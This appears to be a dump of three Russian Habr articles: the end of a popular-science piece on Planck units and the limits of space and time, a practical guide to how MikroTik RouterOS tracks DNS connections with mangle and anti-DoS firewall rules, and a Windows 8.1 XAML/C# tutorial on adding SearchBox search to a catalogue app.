А как насчет планковского времени? Первое, что мы замечаем, когда подставляем числа, это то, что планковское время невероятно мало: 10 в минус 44 секунды. Так что же представляет собой это время? Ну, в самом простом смысле время Планка говорит нам, сколько времени потребуется свету, чтобы пройти путь, равный длине Планка. А ещё, в космологии Большого взрыва эпоха Планка это самый ранний этап истории Вселенной. В настоящее время не существует физической теории для описания таких коротких времен и не ясно, какой смысл имеет понятие времени для величин меньше времени Планка. Обычно предполагается, что квантовые эффекты гравитации доминируют над физическими взаимодействиями в этом масштабе времени. Люди часто спрашивают, что было до Большого взрыва, но правда в том, что мы сталкиваемся с проблемами даже не добравшись до него.
Еще примечательны планковская температура (15 дециллионов градусов Кельвина) и плотность (5 октовигинтиллионов (восемьдесят седьмая степень!) тонн на кубический сантиметр), но их оставим читателю на самостоятельное осмысление.
Постарайтесь насладиться концептом: с ростом прилагаемой энергии нам становятся доступны всё мельчайшие масштабы. Миллионы лет мы довольствовались информацией о метровых сгустках барионной материи, которые передавали нам сигналы благодаря процессам, умещающимся в нанометры. Затем мы лезем на внутренние оболочки атома, рассматриваем ядра и их составляющие. С ростом энергии мы видим всё больше сложновзаимодействующих компонент, пока не упираемся в непроходимую стену. Куда ни глянь, всюду чёрная дыра! Заполняет всё естество на самом фундаментальном уровне! Так что добавим себе в копилку досужих философствований [Вселенную в чёрной дыре](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D1%81%D0%BC%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D1%8F_%D1%87%D1%91%D1%80%D0%BD%D0%BE%D0%B9_%D0%B4%D1%8B%D1%80%D1%8B). Хотя это, разумеется, натягивание шварцшильдовской совы на однородный изотропный глобус Вселенной.
А теперь вернемся в реальный мир. Как и все оценки порядков величины, приведённая выше процедура не является строгой, поскольку она экстраполирует понятия чёрной дыры и комптоновской длины волны на масштаб, в котором оба явления, вероятно, потеряют свои общепринятые значения и, строго говоря, перестанут быть действительными. Однако именно таким образом мы приобретаем интуицию, двигаясь к неизведанной физике. Но любопытный читатель может найти более строгую теорию в ссылкографии.
▍ Послесловие
-------------
Конечно, все приведённые выше выкладки кажутся чрезмерно приблизительными. Но более классический путь базируется лишь на анализе размерностей, что выглядит куда умозрительнее. Зато мы добрались до рубежей современной физики, используя только школьные формулы, что не может не радовать. Хотя, на самом деле, теории, которые мы использовали, наверняка становятся недействительными, достигнув масштаба Планка.
Если мы используем релятивистскую квантовую механику и повышаем энергию до уровня, близкого к энергии Планка, то существует неограниченное количество гравитационных поправок, вступающих в дело по мере того, как сила гравитации становится всё больше и больше. Эти поправки являются «неконтролируемыми» и в какой-то момент делают теорию бесполезной (проблема ненормализуемости гравитации). И наоборот, если начать с общей теории относительности и уменьшать массу до значения, близкого к массе Планка, то появятся более высокие петлевые (квантовые) поправки, что приводит к той же проблеме. В принципе, и квантовая теория поля, и общая относительность должны быть заменены последовательной теорией квантовой гравитации, которая предстаёт во всей красе только при масштабе Планка, а на больших масштабах длины воспроизводит квантовую теорию поля и общую относительность.
В конце концов, можно принять одну из двух позиций: во-первых, что пространство и время реальны, что они действительно существуют, но мы просто не можем измерить их в этих экстремальных масштабах длины и времени. Другой вариант состоит в том, что пространство-время, как таковое, не существует в произвольно малых масштабах, и требуется кардинально иной подход. Можно предположить, что существуют атомы пространства-времени, и когда мы спускаемся до масштаба этих атомов, пространство-время перестает выглядеть как непрерывное многообразие точно так же, как деревянный стол перестает быть деревянным столом на квантовом уровне. Проблема с этой перспективой состоит в том, что на самом деле невероятно трудно придумать концепцию дискретности пространства-времени таким образом, чтобы она соответствовала законам специальной теории относительности.
Всё же, первая позиция привлекательней чем дискретная Вселенная. Довольно интересно думать о бурлящем и пузырящемся пространстве-времени, где на саму геометрию влияют квантовые неопределённости. Принцип неопределённости пространства и времени! И раз они подчиняются некоммутативной геометрии, то пространство можно было бы изучать и за планковскими границами за счет увеличения неопределённости времени. В любом случае, последнее слово за теорией квантовой гравитации.
▍ Источники и материалы для дальнейшего погружения
--------------------------------------------------
* [The Planck scale: Is there a fundamental limit to space and time?](https://www.youtube.com/watch?v=5kuRatz2rj0)
* [Is the Planck length the minimum possible length?](https://rantonels.github.io/is-the-planck-length-the-minimum-possible-length/)
* [wikipedia.org/Planck\_units](https://en.wikipedia.org/wiki/Planck_units)
* [wikipedia.org/Квантование пространства](https://ru.wikipedia.org/wiki/%D0%9F%D0%BB%D0%B0%D0%BD%D0%BA%D0%BE%D0%B2%D1%81%D0%BA%D0%B0%D1%8F_%D0%B4%D0%BB%D0%B8%D0%BD%D0%B0#%D0%9A%D0%B2%D0%B0%D0%BD%D1%82%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BF%D1%80%D0%BE%D1%81%D1%82%D1%80%D0%B0%D0%BD%D1%81%D1%82%D0%B2%D0%B0_%D0%B8_%D0%BF%D0%BB%D0%B0%D0%BD%D0%BA%D0%BE%D0%B2%D1%81%D0%BA%D0%B0%D1%8F_%D0%B4%D0%BB%D0%B8%D0%BD%D0%B0)
* [wikipedia.org/Бесконечная вложенность материи](https://ru.wikipedia.org/wiki/%D0%91%D0%B5%D1%81%D0%BA%D0%BE%D0%BD%D0%B5%D1%87%D0%BD%D0%B0%D1%8F_%D0%B2%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BC%D0%B0%D1%82%D0%B5%D1%80%D0%B8%D0%B8)
* [Ueber irreversible Strahlungsvorgänge](https://onlinelibrary.wiley.com/doi/10.1002/andp.19003060105) ([sci-hub](https://sci-hub.ru/https://doi.org/10.1002/andp.19003060105))
* [Three new roads to the Planck scale](https://aapt.scitation.org/doi/10.1119/1.4994804) ([sci-hub](https://sci-hub.ru/https://doi.org/10.1119/1.4994804))
* [Six easy roads to the Planck scale](https://aapt.scitation.org/doi/10.1119/1.3439650) ([sci-hub](https://sci-hub.ru/https://doi.org/10.1119/1.3439650))
* И немного математической философии [здесь на хабре](https://habr.com/ru/post/502196/)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Yermack&utm_content=plankovskie_edinicy_sushhestvuet_li_fundamentalnyj_predel_prostranstva_i_vremeni) | https://habr.com/ru/post/648443/ | null | ru | null |
# Страх и ненависть в RouterOS: что такое сетевое соединение в ядре Linux (часть 2 — практика)
[](https://habr.com/ru/company/ruvds/blog/590489/)
Ранее [в первой (теоретической) части статьи](https://habr.com/ru/company/ruvds/blog/590487/) была подробно описана сущность сетевого соединения глазами ядра маршрутизатора. В текущей части мы закрепим информацию в результате рассмотрения работы прикладного протокола DNS через подсистемы RouterOS.
В заключительной части речь пойдёт о диаграмме потока пакетов, при работе с которой важно понимать сущность рассматриваемого сетевого соединения, а также о не документированной в явном виде особенности работы NAT. Материала достаточно много, и чтобы читатель не потерял смысловую нить к концу статьи, она разделена на 3 части: [теория](https://habr.com/ru/company/ruvds/blog/590487/), [практика](https://habr.com/ru/company/ruvds/blog/590489/) и особенность NAT.
> Материалы носят в основном теоретический характер и предназначены для людей, тонко настраивающих Firewall, Qos и маршрутизацию, где им придётся непосредственно работать с рассматриваемыми connections. Цикл статей не предназначен для новичков и может их только запутать. Полагаю, что читатель хорошо знаком с предметом разговора.
Научиться настраивать MikroTik с нуля или систематизировать уже имеющиеся знания можно на [углубленном курсе по администрированию MikroTik](https://%D0%BA%D1%83%D1%80%D1%81%D1%8B-%D0%BF%D0%BE-%D0%B8%D1%82.%D1%80%D1%84/mikrotik-mtcna?utm_source=habr&utm_medium=cpc&utm_campaign=olegtsss&utm_content=590489). Без лишних слов приступим к описанию практической задачи. Имеем классическую локальную сеть, в которой клиенты (в том числе беспроводные) подключены к маршрутизатору (со стороны LAN IP адрес *192.168.1.1*, со стороны WAN IP адрес *10.0.2.47*) и получают посредством работы DHCP протокола в качестве DNS сервера непосредственно IP адрес роутера. Сам роутер использует в качестве сервера DNS IP адрес Cloudflare (*/ip dns set allow-remote-requests=yes servers=1.1.1.1*). Пользователь загружает свой ноутбук (PC), подключается к Wi-Fi сети, получает от DHCP сервера IP адрес *192.168.1.2* и в браузере открывает сайт, например, mail.ru. Для простоты сосредоточимся на работе не шифрованного DNS протокола, позволяющего увидеть содержание пакетов на прикладном уровне.
**Сколько типов DNS соединений будет создано в RouterOS?**
Разберёмся детально и разложим всё по полочкам. Если кто-то не уверен в ответе, то после прочтения ясность будет внесена. В действительности имеем следующие DNS запросы и ответы, передающиеся по транспортному протоколу UDP:
* PC -> MikroTik;
* MikroTik -> DNS servers;
* DNS servers -> MikroTik;
* MikroTik -> PC.
Рассчитываю, что читатель понимает, почему это так, и не отвлекаюсь на описание работы непосредственно DNS протокола. Выделим пакеты каждого варианта запросов, для этого воспользуемся маркировкой трафика:
```
/ip firewall mangle
add action=mark-connection chain=prerouting comment=\
"DNS catcher PC->MikroTik Connections" dst-address=192.168.1.1 dst-port=\
53 new-connection-mark="DNS catcher PC->MikroTik Connections" \
passthrough=yes protocol=udp
add action=mark-packet chain=prerouting comment=\
"DNS catcher PC->MikroTik Packets" connection-mark=\
"DNS catcher PC->MikroTik Connections" new-packet-mark=\
"DNS catcher PC->MikroTik packets" passthrough=no
add action=mark-connection chain=prerouting comment=\
"DNS catcher DNS Servers->MikroTik Connections" new-connection-mark=\
"DNS catcher DNS Servers->MikroTik Connections" passthrough=yes protocol=\
udp src-address-list="DNS servers" src-port=53
add action=mark-packet chain=prerouting comment=\
"DNS catcher DNS Servers->MikroTik Packets" connection-mark=\
"DNS catcher DNS Servers->MikroTik Connections" new-packet-mark=\
"DNS catcher DNS Servers->MikroTik Packets" passthrough=no
add action=mark-connection chain=output comment=\
"DNS catcher MikroTik->PC Connections" new-connection-mark=\
"DNS catcher MikroTik->PC Connections" passthrough=yes protocol=udp \
src-address=192.168.1.1 src-port=53
add action=mark-packet chain=output comment=\
"DNS catcher MikroTik->PC Packets" connection-mark=\
"DNS catcher MikroTik->PC Connections" new-packet-mark=\
"DNS catcher MikroTik->PC Packets" passthrough=no
add action=mark-connection chain=output comment=\
"DNS catcher MikroTik->DNS Servers Connections" dst-address-list=\
"DNS servers" dst-port=53 new-connection-mark=\
"DNS catcher MikroTik->DNS Servers Connections" passthrough=yes protocol= udp
add action=mark-packet chain=output comment=\
"DNS catcher MikroTik->DNS Servers Packets" connection-mark=\
"DNS catcher MikroTik->DNS Servers Connections" new-packet-mark=\
"DNS catcher MikroTik->DNS Servers Packets" passthrough=no
```
Маркировка осуществляется по схеме: сначала обозначаются соединения (mark-connection) затем пакеты этих соединений (mark-packet). Соединения «*PC -> MikroTik*» отлавливаются по IP адресу роутера и 53 номеру порта назначения. Здесь и далее я опускаю одинаковый и потому не информативный в текущем контексте префикс «*DNS catcher*». Соединения «*MikroTik -> DNS servers*» помечаются только по 53 номеру порта назначения. Соединения «*DNS servers -> MikroTik*» маркируются по такой же схеме, только в правиле используется 53 порт отправителя. Соединения «*MikroTik -> PC*» отлавливаются на основе IP адреса маршрутизатора и 53 порта отправителя. Для исключения ошибки перемаркировка пакетов ограничена (*passthrough=no*). Обращаю внимание, пакетов, а не соединений. Чтобы убедиться в корректности работы Mangle, по очереди зеркалируем пакеты каждого типа соединений. Пример, как это делается для пакетов «*MikroTik -> DNS servers*», представлен ниже:
```
/ip firewall mangle
add action=sniff-tzsp chain=postrouting comment="Sniffer"
packet-mark="DNS catcher MikroTik->DNS Servers Packets" sniff-target=\
IP_адрес_принимающего_сервера sniff-target-port=37008
```
Как сохранить трафик на принимающей стороне, рассмотрено [здесь](https://habr.com/ru/company/ruvds/blog/576352/). Для зеркалируемых пакетов не забываем снять ограничение, озвученное выше, и выставить *passthrough=yes*, иначе правило */ip firewall mangle add action=sniff-tzsp* будет проигнорировано. Почему для разных типов соединений используются различные цепочки в Firewall (*Prerouting, Output, Postrouting*) будет рассмотрено ниже. Для тех, кто вообще не в теме, коротко прокомментирую: пакет проходит через различные части сетевой подсистемы Linux, ядро применяет правила из определённых цепочек (chains) к пакетам. После получения нового пакета от физического уровня ядро активизирует правила в цепочках, соответствующих вводу. Все эти структуры данных обслуживаются ядром. Такая подсистема в целом и является Firewall-ом, который из пространства пользователя создаёт правила и управляет ими. Иллюстрация, взятая [здесь](https://xn-----xlcfvffioc4g.xn--p1ai/), в очень упрощённом варианте отображает связь между различными цепочками:
В качестве DNS клиента удобно использовать встроенную во многие операционные системы программу nslookup, которой можно указать IP адрес DNS сервера (*192.168.1.1*) куда будет отправлен запрос:
```
nslookup mail.ru 192.168.1.1
```
Посмотрим, что представляет из себя каждый тип выделенных нами пакетов:
* Соединения с меткой «*PC->MikroTik Connections*» (содержат пакеты «*PC->MikroTik packets*») передают DNS query;
* Соединения с меткой «*MikroTik->DNS Servers Connections*» (содержат пакеты «*MikroTik->DNS Servers Packets*») также передают DNS query;
* Соединения с меткой «*DNS Servers->MikroTik Connections*» (содержат пакеты «*DNS Servers->MikroTik Packets*») передают DNS query response;
* Соединения с меткой «*MikroTik->PC Connections*» (содержат пакеты «*MikroTik->PC Packets*») также передают DNS query response.
Видно, что маркировка соответствует своим названиям, и, следовательно, выполнена корректно. Пришло время ответить на вопрос, сколько типов соединений создано в RouterOS? Теоретическая часть цикла статей позволяет нам на него ответить – будет создано 2 типа соединения, которые должны получить метки «**PC->MikroTik Connections**» и «**MikroTik->DNS Servers Connections**». Внутри операционной системы созданы всего 2 типа соответствующих сокетов (с одинаковыми Stream index). Хотя с точки зрения UDP протокола, будет 4 типа отправки пакетов, ведь UDP ничего не знает про полезную нагрузку прикладного протокола DNS, и что в нём идут запросы и ответы на них, и какие там существуют клиент-серверные взаимосвязи. Чтобы это проверить, дополним правило для «*MikroTik->PC Connections*» параметром «established», т.е. соединение, которое установлено ранее:
```
/ip firewall mangle
add action=mark-connection chain=output comment=\
"DNS catcher MikroTik->PC Connections" connection-state=established \
new-connection-mark="DNS catcher MikroTik->PC Connections" passthrough=yes \
protocol=udp src-address= 192.168.1.1 src-port=53
```
Ничего не изменится, счётчик пакетов будет отрабатывать, потому как соединение было установлено ранее на этапе «*PC->MikroTik Connections*». А если укажем *connection-state=new*, то счётчик замрёт, таких новых соединений нет. Попробуем ещё дополнительно повесить указанную марку на соединения, которые ранее не размечались (*connection-mark=no-mark*):
```
/ip firewall mangle
add action=mark-connection chain=output comment=\
"DNS catcher MikroTik->PC Connections" connection-mark=no-mark \
new-connection-mark="DNS catcher MikroTik->PC Connections"\
passthrough=yes protocol=udp src-address=192.168.1.1 src-port=53
```
Счётчики остановятся и возобновят свою работу только, если мы укажем не пустой маркер, а «*PC->MikroTik Connections*». Для других правил будет аналогичная ситуация. Однако если заглянуть в Connection tracking, то там можно увидеть следующую картину:
Как видно, маркировка как бы перевёрнута, что вначале может даже ошеломить. Чтобы такого с вами не произошло, разберу ситуацию подробно. Если мы укажем для соединений «*MikroTik->PC Connections*» и «*DNS Servers->MikroTik Connections*» условие *connection-mark=no-mark*, то Connection tracking даст ожидаемый результат:
Без него происходит перемаркировка соединений, а с ним уже существующие соединения не получат новую марку. Вышесказанное звучит достаточно запутанно, поэтому передам туже самую мысль, касательно не корректной ситуации в Connection tracking, другими словами. Внутри маршрутизатора возникает следующая ситуация. DNS запрос от PC поступает на DNS сервер, интегрированный в MikroTik. RouterOS внутри себя создаёт первое сетевое соединение «*PC->MikroTik Connections*». Далее роутер осуществляет DNS запрос к серверу Cloudflare, и создаётся второе соединение «*MikroTik->DNS Servers Connections*». Далее от сервиса Cloudflare приходит DNS query response, что является продолжением и окончанием второго соединения. После этого роутер выполняет DNS query response в сторону PC, что является продолжением и окончанием первого соединения. Правилами Mangle мы вмешиваемся в вышеописанные действия.
Первая половина первого запроса у нас маркируется как «*PC->MikroTik Connections*» (корректно), а вторая половина первого запроса маркируется как «*MikroTik->PC Connections*» (что и должно было вызвать смуту в нашей голове при просмотре Connection tracking, как показано на рисунке с некорректной ситуацией). На деле это одно и то же соединение внутри RouterOS. Однако половина его вышла с одной меткой, а вторая половина с другой, и Connection tracking отрисовал только ту метку, которая пришла к нему последней (в последнем блоке по движению пакетов внутри операционной системы, об этом подробнее будет в третьей части цикла статей). Для соединений «*MikroTik->DNS Servers Connections*» и «*DNS Servers->MikroTik Connections*» возникает ровно такая же ситуация. Поэтому выровнять ситуацию нам помог параметр *connection-mark=no-mark*.
Отмечу, что если в правилах Mangle указать *passthrough=no*, которое при срабатывании пропустит трафик, минуя оставшиеся правила маркировки (значение по умолчанию для параметра *passthrough=yes*, поэтому в явном виде оно не указывается), то при отсутствующем параметре *connection-mark=no-mark* перемаркировка всё равно произойдёт. Ключевую роль опять же играет прохождение соединений и пакетов внутри операционной системы маршрутизатора, о чём мы подробно поговорим в третьей части цикла статей. Параметр *passthrough=no* попросту не отработает, так как первая половина соединения и вторая половина соединения проходят различными маршрутами внутри роутера.
Резюмирую вышесказанное. При работе описанной классической сети для одного DNS запроса клиента LAN в реальности UDP соединение отрабатывает 4 раза: в направление роутера, затем до DNS сервера Cloudflare и обратно. Однако RouterOS будет воспринимать их только как 2 соединения: от клиента Wi-Fi в направлении маршрутизатора и обратно, а также от роутера до DNS сервера Cloudflare и обратно. В глазах MikroTik, **любой одиночный UDP пакет — это новое соединение до тех пор, пока не будет отправлен ответ в обратном направлении**. Когда есть ответ, то это уже для него UDP соединение. Разумеется, вышесказанное правило ограничено во времени в соответствии с таймаутами, о которых речь шла в первой части цикла статей.
[Ранее](https://habr.com/ru/company/ruvds/blog/590487/) говорилось, что защита роутера от DOS атак на L3 уровне может базироваться на правилах обработки сетевых соединений. На практике это будет выглядеть так:
```
/ip firewall filter
add action=add-src-to-address-list address-list=DOS address-list-timeout=1h chain=input comment="List DOS" connection-limit=100,32 connection-state=new in-interface=WAN
add action=drop chain=input comment="Drop DOS list" src-address-list=DOS
```
Логика работы приведённых правил следующая: не более 100 новых сетевых соединений с IP адреса с 32 маской, иначе IP адрес идет в бан. Подробнее про возможности можно почитать [здесь](https://wiki.mikrotik.com/wiki/Manual:IP/Firewall/Filter). В комментариях правильно отметили, что правильнее банить не в таблице Firewall Filter, а в таблице Firewall Raw, почему это так станет очевидно после прочтения третьей части цикла статей:
```
/ip firewall raw
add action=drop chain=input comment="Drop DOS list" src-address-list=DOS
```
▍ Заключение
------------
В статье с практической точки зрения рассмотрено, что такое сетевое соединение в ядре Linux. Внутри RouterOS и других, «Linux based» операционных систем, понятие сетевое соединение не идентично клиент-серверному соединению. MikroTik работает с виртуальными сокетами, под которыми следует понимать совокупность пар IP адрес отправителя и номера порта отправителя, а также IP адрес получателя и номера порта получателя, искусственно введённых для обеспечения функционирования устройства. Это особенно важно при настройке Firewall, а следовательно, и связанных с ним Qos и маршрутизации, в некоторых случаях.
[**Часть 1**](https://habr.com/ru/company/ruvds/blog/590487/)
[**Часть 2**](https://habr.com/ru/company/ruvds/blog/590489/) (вы тут)
[**Часть 3**](https://habr.com/ru/company/ruvds/blog/590491/)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=olegtsss&utm_content=strax_i_nenavist_v_routeros:_chto_takoe_setevoe_soedinenie_v_yadre_linux_(chast_2_%E2%80%94_praktika)) | https://habr.com/ru/post/590489/ | null | ru | null |
# Разработка Windows 8.1 приложений на XAML/С#. Часть 4. Поиск
Одной из важных и необходимых функциональных возможностей для приложения, работающего с контентом, является поиск информации.
Сегодня мы рассмотрим, какие возможности предлагает Windows 8.1 разработчику Windows Store приложений для организации поиска, а так же добавим возможность поиска товаров в приложение «[Каталог товаров](http://habrahabr.ru/company/microsoft/blog/205466/)», разработанное в прошлых статьях.
В Windows 8.1 появился новый элемент управления, панель поиска [SearchBox](http://msdn.microsoft.com/en-us/library/windows/apps/windows.ui.xaml.controls.searchbox.aspx), облегчающий вам задачу реализации поиска в приложении.
Теперь вы можете добавить элемент управления на страницу приложения, обработать события, настроить внешний вид и получить готовую поисковую функциональность.
Вот такой результат вы сможете получить, выполнив инструкции из этой статьи.
Мы разместим поисковую панель на основной странице приложения и создадим отдельную страницу для просмотра результатов поиска.
#### Добавление панели поиска на страницу приложения
Поисковую панель мы будем реализовывать на основе элемента управления [SearchBox](http://msdn.microsoft.com/en-us/library/windows/apps/windows.ui.xaml.controls.searchbox.aspx).
1. Откройте [проект](https://skydrive.live.com/download?resid=DA8C144CFF7C40EE%2137492) в Visual Studio 2013.
2. В Solution Explorer откройте файл **HubPage.xaml**.
3. Вставьте поисковую панель в шапку приложения, например, в таблицу с названием.
Для добавления поисковой панели используйте следующий код:
```
```
где:
*PlaceholderText* – текст, который будет отображаться в пустом текстовом поле.
*QuerySubmitted* – обработчик события поиска.
*SuggestionsRequested* – обработчик события ввода символов в поисковое поле. Обработав это событие, вы можете управлять подсказками и предложениями, которые будут отображены пользователю еще до нажатия на кнопку и осуществления поиска. При этом, вы можете работать с любыми источниками данных, будь то база данных, [xml документ](http://msdn.microsoft.com/library/windows/apps/br206173), [веб-сервис](http://msdn.microsoft.com/library/windows/apps/dn298639) в облаке или [локальные файлы и папки](http://msdn.microsoft.com/library/windows/apps/dn252808) вашего компьютера.
*FocusOnKeyboardInput* – параметр, отвечающий за поведение элемента управления при наборе символов с клавиатуры. Если установлен в true, то при вводе символов с клавиатуры, курсор перемещается в поисковое поле.
4. В Solution Explorer откройте файл **HubPage.xaml.cs**.
5. Найдите метод **SearchBox\_SuggestionsRequested** и замените его:
```
private void SearchBox_SuggestionsRequested(SearchBox sender, SearchBoxSuggestionsRequestedEventArgs args)
{
string queryText = args.QueryText;
if (!string.IsNullOrEmpty(queryText))
{
Windows.ApplicationModel.Search.SearchSuggestionCollection suggestionCollection = args.Request.SearchSuggestionCollection;
SampleDataGroup dataGroup = this.DefaultViewModel["Group1Items"] as SampleDataGroup;
if (dataGroup != null)
{
IEnumerable itemsResult = dataGroup.Items.Where(item => item.Title.StartsWith(queryText, StringComparison.CurrentCultureIgnoreCase));
foreach (SampleDataItem suggestion in itemsResult)
{
IRandomAccessStreamReference thumbnail = RandomAccessStreamReference.CreateFromUri(new Uri("ms-appx:///"+suggestion.ImagePath));
suggestionCollection.AppendResultSuggestion(suggestion.Title, suggestion.Description, string.Empty, thumbnail, string.Empty);
}
suggestionCollection.AppendSearchSeparator(string.Empty);
IEnumerable itemsQuery = dataGroup.Items.Where(item => item.Description.Contains(queryText));
foreach (SampleDataItem suggestion in itemsQuery)
{
suggestionCollection.AppendQuerySuggestion(suggestion.Title);
}
}
}
}
```
В данном методе мы реализуем возможность выпадающих подсказок при вводе символов с клавиатуры в поле поиска. Сначала мы предлагаем пользователю товары, у которых название начинается с введенных символов, отображая, для наглядности, иконки этих товаров, затем добавляем разделитель и предлагаем товары, у которых в описании есть введенные символы.
6. Запустите приложение. Результат представлен на картинке ниже.
Попробуйте начать вводить какой-либо текст и курсор сразу встанет на поле поиска.
Если вы введете первые несколько символов названия товара, например «наушники», вы увидите в качестве предложений слова, содержащие указанные символы.
#### Создание страницы результатов поиска
Теперь мы создадим страницу, содержащую результаты поиска. В качестве источника данных, будем использовать наш JSON файл со списком товаров приложения.
1. В Solution Explorer для проекта выберите **Add** / **New Item**
2. Выберите шаблон страницы **Items Page** и создайте файл **SearchResult.xaml**.
3. Замените код страницы. Страница будет отображать заголовок и таблицу с результатами поиска.
```
```
4. Откройте файл **SearchResult.xaml.cs**.
5. Найдите метод **navigationHelper\_LoadState**.
6. Замените его:
```
private async void navigationHelper_LoadState(object sender, LoadStateEventArgs e)
{
string queryText = (String)e.NavigationParameter;
var group = await SampleDataSource.GetGroupAsync("Group-1");
if (group != null)
{
IEnumerable itemsResult = group.Items.Where(item => item.Title.StartsWith(queryText, StringComparison.CurrentCultureIgnoreCase));
this.DefaultViewModel["Items"] = itemsResult;
this.DefaultViewModel["QueryText"] = queryText;
this.DefaultViewModel["TotalCount"] = itemsResult.Count();
}
}
```
7. Запустите приложение и осуществите поиск. Результат представлен на картинке ниже.
#### Настройка внешнего вида
Последний штрих. Сейчас мы стилизуем поисковую панель в цвета приложения.
Стили, которые используются по умолчанию можно найти в файле **generic.xaml**, расположенном в папке *C:\Program Files (x86)\Windows Kits\8.1\Include\winrt\xaml\design*.
1. В Solution Explorer откройте файл **App.xaml**
2. Вставьте следующий набор стилей:
```
```
3. Запустите приложение. Панель поиска изменит свой внешний вид.
#### Заключение
На сегодня всё. Мы познакомились с новым элементом управления Windows 8.1 для организации поиска, а так же добавили возможность поиска товаров в приложение «Каталог товаров».
В следующих статьях мы продолжим постигать разработку Windows 8.1 приложений на простых примерах.
Скачать получившееся приложение можно на SkyDrive по ссылке: [http://sdrv.ms/1kmQNMd](https://skydrive.live.com/download?resid=DA8C144CFF7C40EE%2137517)
#### Полезные материалы
[Руководство по поиску](http://msdn.microsoft.com/ru-ru/library/windows/apps/hh465233.aspx)
[SearchBox](http://msdn.microsoft.com/ru-ru/library/windows/apps/windows.ui.xaml.controls.searchbox.aspx) | https://habr.com/ru/post/206702/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.